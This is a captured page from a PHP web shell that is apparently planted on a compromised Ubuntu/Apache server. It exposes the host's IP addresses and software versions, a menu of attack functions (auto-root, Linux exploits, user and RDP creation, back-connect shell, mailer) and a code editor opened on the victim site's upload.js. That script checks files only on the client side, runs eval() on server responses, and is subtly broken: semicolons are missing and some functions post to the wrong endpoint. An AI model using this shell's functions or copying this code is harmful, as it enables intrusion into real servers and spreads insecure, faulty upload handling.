Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 13.59.69.109
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
orms-gug /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
Chart.Core.js
70.32
KB
-rwxr-xr-x
Chart.Doughnut.js
6.2
KB
-rwxr-xr-x
Chart.js
115.34
KB
-rwxr-xr-x
control.js
18.44
KB
-rwxr-xr-x
dytable.js
30.95
KB
-rwxr-xr-x
dytable_old.js
28.96
KB
-rwxr-xr-x
form_submit.js
1.3
KB
-rwxr-xr-x
functions.js
391
B
-rwxr-xr-x
home.js
135.37
KB
-rwxr-xr-x
home11.js
131.88
KB
-rwxr-xr-x
home_arun.js
26.93
KB
-rwxr-xr-x
home_old.js
27.29
KB
-rwxr-xr-x
home_sand.js
20.19
KB
-rwxr-xr-x
homecopy.js
21.8
KB
-rwxr-xr-x
index.js
7.23
KB
-rwxr-xr-x
index_06092017.js
4.51
KB
-rwxr-xr-x
index_11102017.js
7.18
KB
-rwxr-xr-x
index_old.js
3.91
KB
-rwxr-xr-x
jquery-1.7.2.min.js
92.62
KB
-rwxr-xr-x
jquery.flexslider-min.js
10.87
KB
-rwxr-xr-x
loadtable.js
58.93
KB
-rwxr-xr-x
loadtable_11.09.2018.js
57.04
KB
-rwxr-xr-x
loadtable_old.js
10.94
KB
-rwxr-xr-x
modernizr.custom.js
6.76
KB
-rwxr-xr-x
script.js
1.09
KB
-rwxr-xr-x
script_old.js
1.08
KB
-rwxr-xr-x
sessionexpired.js
2.24
KB
-rwxr-xr-x
upload.js
37.84
KB
-rwxr-xr-x
validate.js
10.66
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload.js
function upload_file(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg") { } else { alert("JPEG, JPG files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file2(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg") { } else { alert("JPEG, JPG files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file2.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file3(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file3.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file4(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file4.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file5(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file5.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file6(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file6.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file7(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file7.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file8(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file8.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file9(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase(); if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file9.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file10(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file10.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file11(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file11.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file12(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file12.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file13(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file13.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file15(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file15.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file16(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file16.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file17(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file17.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file14(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file14.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file19(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file19.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file20(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file20.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file21(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file21.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file22(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file21.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file23(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file21.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file24(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file21.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file25(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file21.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); } function upload_file18(file_file) { var file_name = $("#"+file_file).val(); var file_size = $("#"+file_file)[0].files[0].size; var file_extn = file_name.split('.').pop(); var file_extn = file_extn.toLowerCase() if(file_extn=="jpeg"||file_extn=="jpg" || file_extn=="pdf" || file_extn=="PDf") { } else { alert("JPEG, JPG, pdf files are allowed!"); return false; } if(file_size >= 20000000) { alert('Upload files with size less then 2MB!'); return false; } var file_data = $("#"+file_file).prop('files')[0]; var form_data = new FormData(); form_data.append('file', file_data); var appno = document.getElementById('appno').value; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='images/ajax-loader.gif' border='0'></h1>" }); $.ajax({ type: "POST", url: "upload_file18.php", data: form_data, cache: false, contentType: false, processData: false, success: function(data) { $.ajax({ type: "POST", async:false, url:$host_url+'savephotopath', data:"&path="+data+"&file_file="+file_file+"&appno="+appno, success: function(responce) { responce = eval('(' + responce + ')'); if(responce.error_code == 0) { $.unblockUI(); alert('Uploaded.'); document.getElementById('t'+file_file).innerHTML = responce.data; return; }else { alert('Upload Failed.'); return; } } }); }, error: function(data) { alert(data); } }); }
Close